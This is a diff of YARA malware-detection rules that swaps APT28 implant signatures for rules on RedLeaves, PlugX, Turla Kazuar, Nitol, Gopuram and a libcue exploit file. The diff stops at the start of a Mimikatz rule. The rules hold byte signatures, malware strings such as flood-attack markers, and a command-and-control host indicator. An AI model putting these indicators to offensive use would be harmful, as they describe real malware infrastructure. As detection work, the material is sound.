+		$RedleavesStringObfu = {73 64 65 5e 60 74 75 74 6c 6f 60 6d 5e 6d 64 60 77 64 72 5e 65 6d 6d 6c 60 68 6f 2f 65 6d 6d}
 
 	condition:
-		( uint16(0)==0x5A4D) and 2 of them
+		any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V18 : FILE
+rule SIGNATURE_BASE_REDLEAVES_Coreimplant_Uniquestrings : FILE
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "5376ec57-f405-55cf-a23b-aafb1cb800e5"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L349-L376"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d982b3b1407e140f586772ce409e47bd29e567af41e466cd94d0983c93aab917"
-		score = 85
-		quality = 85
+		description = "Strings identifying the core REDLEAVES RAT in its deobfuscated state"
+		author = "USG"
+		id = "fd4d4804-f7d9-549d-8f63-5f409d6180f9"
+		date = "2018-12-20"
+		modified = "2024-04-17"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uscert_ta17-1117a.yar#L49-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ce6ab0f4007f3ea3c31442cab702ad3579faa6835d5ee9b4c03516ce0499bf3e"
+		score = 75
+		quality = 81
 		tags = "FILE"
 
 	strings:
-		$STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF
-         8B 5D EC 83 C2 FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F
-         B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75 F4 8B 45 0C C1 EB 07 8D 79 01
-         32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE
-         02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22
-         1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45
-         F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0 41 83 C6 06 89 4D F0 89 75
-         F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B
-         F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE
-         8D 14 08 8D 04 49 02 D2 03 C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D
-         D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00 00 0F B6 5C 0A FE
-         8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1
-         EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80
-         E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B
-         D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 }
+		$unique2 = "RedLeavesSCMDSimulatorMutex" nocase wide ascii
+		$unique4 = "red_autumnal_leaves_dllmain.dll" wide ascii
+		$unique7 = "\\NamePipe_MoreWindows" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		not uint32(0)==0x66676572 and any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V19 : FILE
+rule SIGNATURE_BASE_PLUGX_Redleaves
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "b4efdb3c-d7d6-5141-ad73-90d70582f8bd"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L378-L404"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "42bee6ddf0b13774efb6712135c3e0b4eae6364120f8973272820f5f669671d1"
-		score = 85
+		description = "Detects specific RedLeaves and PlugX binaries"
+		author = "US-CERT Code Analysis Team"
+		id = "ede8ad8f-31cf-5314-9777-bddd60e499f2"
+		date = "2017-03-04"
+		date = "2017-04-03"
+		modified = "2024-04-17"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uscert_ta17-1117a.yar#L66-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c52110eb18dcdb7a0d4b8c42f22368acdd1bce44a192abcd71a20bee2705475"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		incident = "10118538"
+		MD5_1 = "598FF82EA4FB52717ACAFB227C83D474"
+		MD5_2 = "7D10708A518B26CC8C3CBFBAA224E032"
+		MD5_3 = "AF406D35C77B1E0DF17F839E36BCE630"
+		MD5_4 = "6EB9E889B091A5647F6095DCD4DE7C83"
+		MD5_5 = "566291B277534B63EAFC938CDAAB8A399E41AF7D"
 
 	strings:
-		$obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6
-         74 B5 52 12 4D FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2
-         E3 7B 1E B8 09 3C AF 76 A1 38 56 76 BB A0 63 B6 9E 5D 86 E4 EC B0 DC
-         89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19 3E 1F B3 EE
-         9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11
-         BE 5E 27 94 5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D
-         CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4 E1 A9 A4 3B }
-		$cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01
-         00 01 00 AF BD 26 C9 04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E
-         0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA 7A 75 8D 5F 9C 4B 67 32
-         45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC
-         C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05
-         42 68 6A 3E 88 7F 38 97 49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14
-         81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B E6 }
+		$s0 = { 80343057403D2FD0010072F433C08BFF80343024403D2FD0010072F4 }
+		$s1 = "C:\\Users\\user\\Desktop\\my_OK_2014\\bit9\\runsna\\Release\\runsna.pdb"
+		$s2 = "d:\\work\\plug4.0(shellcode)"
+		$s3 = "\\shellcode\\shellcode\\XSetting.h"
+		$s4 = { 42AFF4276A45AA58474D4C4BE03D5B395566BEBCBDEDE9972872C5C4C5498228 }
+		$s5 = { 8AD32AD002D180C23830140E413BCB7CEF6A006A006A00566A006A00 }
+		$s6 = { EB055F8BC7EB05E8F6FFFFFF558BEC81ECC8040000535657 }
+		$s7 = { 8A043233C932043983C10288043283F90A7CF242890D18AA00103BD37CE2891514AA00106A006A006A0056 }
+		$s8 = { 293537675A402A333557B05E04D09CB05EB3ADA4A4A40ED0B7DAB7935F5B5B08 }
+		$s9 = "RedLeavesCMDSimulatorMutex"
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and any of them
+		$s0 or $s1 or $s2 and $s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V20 : FILE
+rule SIGNATURE_BASE_APT_NK_Methodology_Artificial_Useragent_IE_Win7 : FILE
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "323ee676-802d-55e6-a97a-48eb3a4e4a5f"
-		date = "2017-02-10"
+		description = "Detects hard-coded User-Agent string that has been present in several APT37 malware families."
+		author = "Steve Miller aka @stvemillertime"
+		id = "a747c908-7af7-5c29-8386-a71db7648061"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L406-L423"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72c62a764c5c7c19a07957fd6fbfcffd689900cc2759d408d239fe08a3b76b9c"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt37.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "43119b83a7eaf3dade9477d342b5656970940e9b4f41b3ba5f720d7fbe927762"
+		score = 45
 		quality = 85
 		tags = "FILE"
+		hash1 = "e63efbf8624a531bb435b7446dbbfc25"
 
 	strings:
-		$func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42
-         FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1
-         8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4
-         8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 8B 45
-         D8 89 55 F8 72 A0 }
+		$a1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
+		$a2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00}
+		$fp1 = "Esumsoft" wide
+		$fp2 = "Acunetix" wide ascii
+		$fp3 = "TASER SYNC" ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5A4D and all of ($a*) and not 1 of ($fp*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_3_V1
+rule SIGNATURE_BASE_Apt_RU_Turla_Kazuar_Debugview_Pefeatures : FILE
 {
 	meta:
-		description = "X-Agent/CHOPSTICK Implant by APT28"
-		author = "US CERT"
-		id = "d539bb31-18b2-5cf5-b994-daecd5f8c771"
-		date = "2017-02-10"
+		description = "Turla mimicking SysInternals Tools- peFeatures"
+		author = "JAG-S"
+		id = "0a1675c0-8645-5288-9ef6-e68ffbfe0c3b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L425-L442"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4c7b6c76bc10784abf96cc71b34ffc9a9de569fd536505528752221d22b26629"
+		reference = "https://www.epicturla.com/blog/sysinturla"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_kazuar.yar#L15-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "10c2e47e5c1885c7dc19d1fb7933c9b15911cbe4c6fba99b7f763738ae934126"
 		score = 85
 		quality = 85
-		tags = ""
-
-	strings:
-		$STR1 = ">process isn't exist<" ascii wide
-		$STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii wide
-		$STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" ascii wide
-		$STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide
-		$STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14
-         02 8a 45 ?? 03 fa}
+		tags = "FILE"
+		version = "2.0"
+		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
+		hash2 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and (pe.version_info["LegalCopyright"]=="Test Copyright" and ((pe.version_info["ProductName"]=="Sysinternals DebugView" and pe.version_info["Description"]=="Sysinternals DebugView") or (pe.version_info["FileVersion"]=="4.80.0.0" and pe.version_info["Comments"]=="Sysinternals DebugView") or (pe.version_info["OriginalName"] contains "DebugView.exe" and pe.version_info["InternalName"] contains "DebugView.exe") or (pe.version_info["OriginalName"]=="Agent.exe" and pe.version_info["InternalName"]=="Agent.exe")))
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_3_V2 : FILE
+rule SIGNATURE_BASE_APT_MAL_RU_Turla_Kazuar_May20_1 : FILE
 {
 	meta:
-		description = "X-Agent/CHOPSTICK Implant by APT28"
-		author = "US CERT"
-		id = "349c65cf-547f-5837-af71-f9721e029b74"
-		date = "2017-02-10"
+		description = "Detects Turla Kazuar malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cd0d1fa2-5303-55f8-90a7-4a699ec79230"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L444-L464"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a658888dcc7b7f4620f08449c6ec492756750e64f15b048f7cdee7de4fc0479"
-		score = 85
+		reference = "https://www.epicturla.com/blog/sysinturla"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_kazuar.yar#L61-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "547ed3cd88057ab91a0804ecf515eacca04fcf6e490aed1ee0f6a26c3d6b8268"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
+		hash2 = "1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa"
+		hash3 = "2d8151dabf891cf743e67c6f9765ee79884d024b10d265119873b0967a09b20f"
+		hash4 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
 
 	strings:
-		$base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74
-         02 FF D0 C7 45 ?? 83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B
-         FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8 C7 45 ?? B1 D1 FF FF C7
-         45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45
-         ?? 33 35}
-		$base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE
-         72 F1 5F 5E C3 8B FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B
-         FF 55 8B EC 83 EC 10 A1 33 35 }
+		$s1 = "Sysinternals" ascii fullword
+		$s2 = "Test Copyright" wide fullword
+		$op1 = { 0d 01 00 08 34 2e 38 30 2e 30 2e 30 00 00 13 01 }
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and any of them
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_3_V3 : FILE
+rule SIGNATURE_BASE_Backdoor_Redosdru_Jun17 : HIGHVOL FILE
 {
 	meta:
-		description = "X-Agent/CHOPSTICK Implant by APT28"
-		author = "US CERT"
-		id = "ce82511e-715a-53cb-98e5-5d51b94726d5"
-		date = "2017-02-10"
-		modified = "2021-03-15"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L466-L485"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "313f837b90bcf09455427e4411acb5406f4dae9d69373d8d2c0cfc014e27ee96"
-		score = 65
+		description = "Detects malware Redosdru - file systemHome.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ea038142-6903-5d08-ac89-70c1bbef716c"
+		date = "2017-06-04"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/OOB3mH"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eternalblue_non_wannacry.yar#L12-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99218c4decf98f02eb75c3c41a56f857a07779c68d30c4d16ca605052c4f9c3e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4f49e17b457ef202ab0be905691ef2b2d2b0a086a7caddd1e70dd45e5ed3b309"
 
 	strings:
-		$STR1 = ".?AVAgentKernel@@"
-		$STR2 = ".?AVIAgentModule@@"
-		$STR3 = "AgentKernel"
-		$fp1 = "Panda Security S.L." wide
+		$x1 = "%s\\%d.gho" fullword ascii
+		$x2 = "%s\\nt%s.dll" fullword ascii
+		$x3 = "baijinUPdate" fullword ascii
+		$s1 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
+		$s2 = "serviceone" fullword ascii
+		$s3 = "\x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#f \x1f#" fullword ascii
+		$s4 = "servicetwo" fullword ascii
+		$s5 = "UpdateCrc" fullword ascii
+		$s6 = "\x1f#[ \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#" fullword ascii
+		$s7 = "nwsaPAgEnT" fullword ascii
+		$s8 = "%-24s %-15s 0x%x(%d) " fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 1 of ($STR*) and not 1 of ($fp*)
+		( uint16(0)==0x5a4d and filesize <700KB and 1 of ($x*) or 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_4_V1 : FILE
+rule SIGNATURE_BASE_Backdoor_Nitol_Jun17 : FILE
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "be4d222f-009f-5dde-93da-376626a77263"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L487-L503"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51135d9fe62f5fd1fb7ef6c386dcdd86525dd469064662c2314cfee6e952d6ec"
-		score = 85
+		description = "Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7dd26868-59e0-51a1-b12a-3b69d6246ff5"
+		date = "2017-06-04"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/OOB3mH"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eternalblue_non_wannacry.yar#L38-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9035b8bd74c284f170f8c9767d96580dba243786abaa3b2e79e05a981f8fa204"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946"
 
 	strings:
-		$STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64
-         C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF
-         32 C6 45 E0 2EE9 ?? ?? ?? ??}
-		$STR2 = {C7 45 EC 5A 00 00 00 C7 45 E0
-            46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00}
+		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$x3 = "TCPConnectFloodThread.target = %s" fullword ascii
+		$s1 = "\\Program Files\\Internet Explorer\\iexplore.exe" ascii
+		$s2 = "%c%c%c%c%c%c.exe" fullword ascii
+		$s3 = "GET %s%s HTTP/1.1" fullword ascii
+		$s4 = "CCAttack.target = %s" fullword ascii
+		$s5 = "Accept-Language: zh-cn" fullword ascii
+		$s6 = "jdfwkey" fullword ascii
+		$s7 = "hackqz.f3322.org:8880" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 1 of them
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 5 of ($s*))) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_4_V2 : FILE
+rule SIGNATURE_BASE_MAL_Gopuram_Apr23 : FILE
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "2edaeb08-19bc-5ab4-bc75-40c16ba85d9f"
-		date = "2017-02-10"
+		description = "Detects Lazarus Gopuram malware"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e0bb43b0-542b-5c8e-bcba-0326f80efaa0"
+		date = "2023-04-04"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L505-L520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd4edd238cdc3d376c1d5bcea6c8df57f4ef03369c0ca22107241812e0a1bb94"
-		score = 85
+		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_gopuram.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
+		hash = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
+		logic_hash = "58d978bd09a656f2a10a4d5d2585e51efe5cfb6b6648a4b3c2ce8c4f5d2256d4"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
 
 	strings:
-		$BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64}
-		$BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32}
-		$CONSTANT = {26 80 AC C8}
+		$path = "%s.TxR.0.regtrans-ms"
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5A4D and $path and filesize <10MB
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_4_V3_Alternativerule : HIGHVOL FILE
+rule SIGNATURE_BASE_SUSP_EXPL_LIBCUE_CVE_2023_43641_Oct23_1 : CVE_2023_43641 FILE
 {
 	meta:
-		description = "Detects a group of different malware samples"
-		author = "Florian Roth (Nextron Systems)"
-		id = "47e9028b-7718-5372-8a1a-94c208c29ed4"
-		date = "2017-02-12"
+		description = "Detects a suspicious .cue file that could be an exploitation attempt of libcue vulnerability CVE-2023-43641"
+		author = "Florian Roth"
+		id = "34fcf80c-adcd-55c0-9fb4-261d20f61fa6"
+		date = "2023-10-27"
 		modified = "2023-12-05"
-		reference = "US CERT Grizzly Steppe Report"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L788-L803"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "35468f7699b96fcaaaa032eef7dae34ec314e9c652f9f8b2e8ca7343fb5cec50"
-		score = 75
+		reference = "https://github.com/github/securitylab/blob/main/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_libcue_cve_2023_43641.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2cd3c1b0b3551ffb24bf7704c37c1be6c1a9655c74447d2f7f94540dd0ab188"
+		score = 70
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		comment = "Alternative rule - not based on the original samples but samples on which the original rule matched"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2244fe9c5d038edcb5406b45361613cf3909c491e47debef35329060b00c985a"
+		tags = "CVE-2023-43641, FILE"
 
 	strings:
-		$op1 = { 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 53 1e 01 00 }
-		$op2 = { 21 da 40 00 00 a0 40 00 08 a0 40 00 b0 70 40 00 }
+		$a1 = "TRACK "
+		$a2 = "FILE "
+		$s1 = "INDEX 4294"
 
 	condition:
-		( uint16(0)==0x5a4d and all of them )
+		filesize <100KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V4 : FILE
+rule SIGNATURE_BASE_Mimikatz_Memory_Rule_1 : APT
 {
 	meta:
